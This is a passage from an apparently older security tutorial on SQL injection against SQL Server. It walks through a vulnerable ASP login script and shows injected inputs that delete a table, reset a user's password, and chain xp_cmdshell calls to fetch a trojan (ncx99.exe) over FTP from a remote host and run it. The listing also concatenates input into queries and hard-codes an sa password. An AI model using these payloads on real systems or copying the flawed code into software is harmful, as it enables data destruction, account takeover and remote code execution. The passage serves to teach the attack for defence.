- What Is a SQL Server?
- Direct Attacks
- Indirect Attacks (SQL Injection)
- Protection and Prevention
- Summary
Like this article? We recommend
Like this article? We recommend
Like this article? We recommend
Indirect Attacks (SQL Injection)
A direct attack on a SQL server is not always the best approach for a hacker. For example, if the DBA account has a strong password, it could take years to crack it. In addition, many SQL servers are not directly connected to the Internet but are instead tucked safely away behind a firewall. Although these scenarios are valid obstacles to a hacker attack, there is always more than one way to breach security.
An indirect attack on a SQL server is accomplished using any program that interacts with the database. This typically takes the form of a search engine, user authentication form, or even an email address collection program. The weakness is not found in the database server or even in weak authorization. Instead, it is found in the way that the program scripting is written. In other words, this type of attack is often a result of a programmer error, not a SQL server error.
To illustrate, let's look at a simple search engine that could be found at an online store. When a person enters the name of the item he is interested in, this information is placed into a SQL request. For example, the following could be a SQL request if the user is looking for information about furniture:
"SELECT * from tblStore where description = ' . $searchWord . ';"
The final SQL string sent to the SQL server will look as follows:
"SELECT * from tblStore where description = 'furniture';"
Note how the entire search word is placed between the single quotes, and also note the ; that indicates the end of a SQL request.
The server would take this request and send back all the information in the table that meets these criteria. However, with a little twist on the search word, a hacker could start to work his way into the heart of the server. For example, what if a hacker placed the following string in the search field:
'furniture' ; DELETE * from tblStore;"
Now, instead of a simple request, the SQL server would be sent the following two commands:
"SELECT * from tblStore where description ='furniture';DELETE * from tblStore;"
In other words, the SQL server would first perform a quick search of the table for the search word of furniture. It would then follow this search with a complete deletion of the contents of the table!
The above example illustrates the damage that can be done, but many other methods of attack can be performed using this technique. For example, a SQL string could be created that queries the database server for the user account information stored in the master database, or that executes an extended stored procedure, such as the xp_cmdshell we previously discussed.
To illustrate, we have created a database named Users and Web page form that is used to authenticate Web users. As illustrated in Figure 4, the user is presented with two fields asking for a username and password. Normally, a user would enter the information and click Submit. This information would then be used to create a SQL command that would pull the user's information from the Users database and then compare the existing password to the entered password. Listing 1 is a sample script that would do this; an explanation of how it works follows.
)
Figure 4 Typical Web-based user/password entry form.
Listing 1: Example Scripting
1<%
2 myDSN="PROVIDER=MSDASQL;DRIVER={SQL Server};"
3 myDSN=myDSN & "SERVER=127.0.0.1;DATABASE=users;"
4 myDSN=myDSN & "UID=sa;PWD=WKDISLA;"
5
6 set conn=server.createobject("adodb.connection")
7 conn.open myDSN
8
9 username=request.querystring("username")
10 enteredpassword=trim(request.querystring("password"))
11 if username <> "" then
12
13 mySQL="SELECT * FROM tblusers WHERE username= '"& username &"';"
14
15 set rs=conn.execute(mySQL)
16 rs.movenext
17 password=trim(rs.fields("password"))
18
19 if enteredpassword = password then
20 response.write "Password Correct"
21 else
22 response.write "Password Incorrect"
23 end if
24 end if%>
Lines 1–7 define the connection string required to send data to a SQL server. Note that the password is strong, which means that a hacker can't directly attack this database server.
Lines 9–10 capture the incoming username/password as entered by the user.
Line 11 checks to ensure that there is a username entered. Although this is a form of validation, it is not enough to stop SQL injection.
Line 13 shows the SQL string that will be used to query the database.
Lines 15–17 retrieve the user's password from the database.
Lines 19–23 check to see if the entered password matches the password from the database. Normally, this stage of the script either passes the user on to a secure part of the Web site or kicks the user back out, depending on the results of this simple validation.
When used as expected, the script creates the following SQL command, as depicted in Line 13. If the user entered seth as the username, the following SQL string would be sent to the SQL server:
"SELECT * FROM tblusers WHERE username= 'seth';"
This query would return the value of sethpass (assuming this was the password listed) from the database, which would then be compared to the user-entered password value. Although this seems to be fairly secure, if a hacker found this Web form, he could inject his own SQL command into the database through the username field. In fact, if a hacker knew the user account but not the password, he could easily update the database with a password of his choice. The following illustrates this:
Entered username:
"seth'; update tblusers set password='hacker" where username='seth"
Entered password: n/a
SQL string sent to server:
"SELECT * FROM tblusers WHERE username= 'seth';
update tblusers set password='hacker" where username='seth"
Note that the final SQL string is actually the concatenation of two individual strings. This is allowed by default in most databases, and it can be used in many legitimate ways. However, in this case the hacker updated the password for seth to a password of his choice (hacker). Now all the hacker has to do is go back to the user/password form and enter seth as the user and hacker as the password to gain access to the site.
This same type of attack can be used to force the SQL to execute the same extended stored procedures that we used in the direct attack section. For example, the following username entries will result in the creation and execution of a popular Trojan:
**Creates a file to be used by FTP** Seth'; exec xp_cmdshell '"echo open 192.168.10.12" >> c:\hack.txt'; Seth'; exec xp_cmdshell '"echo USER" >> c:\hack.txt'; Seth'; exec xp_cmdshell '"echo PASS" >> c:\hack.txt'; Seth'; exec xp_cmdshell '"echo GET ncx99.exe" >> c:\hack.txt'; Seth'; exec xp_cmdshell '"echo quit" >> c:\hack.txt'; **Uses the previously created file to control a FTP session** Seth'; exec xp_cmdshell 'FTP.EXE -s:C:\hack.txt'; **Executes the downloaded trojan**
Seth'; exec xp_cmdshell 'c:\winnt\system32\ncx99.exe';
This example illustrates the dangers of improper programming and improper SQL server management. However, it should be noted that SQL injection often takes a detailed understanding of SQL commands and scripting languages, and a good understanding of how these technologies work together. Although Web sites that are vulnerable to SQL injection techniques are fairly common, this is rarely simple to exploit, and it can take several hours before finding the right combination of characters and commands. In many ways, a SQL hacker has to map out the functions the hidden scripts are using by trial and error.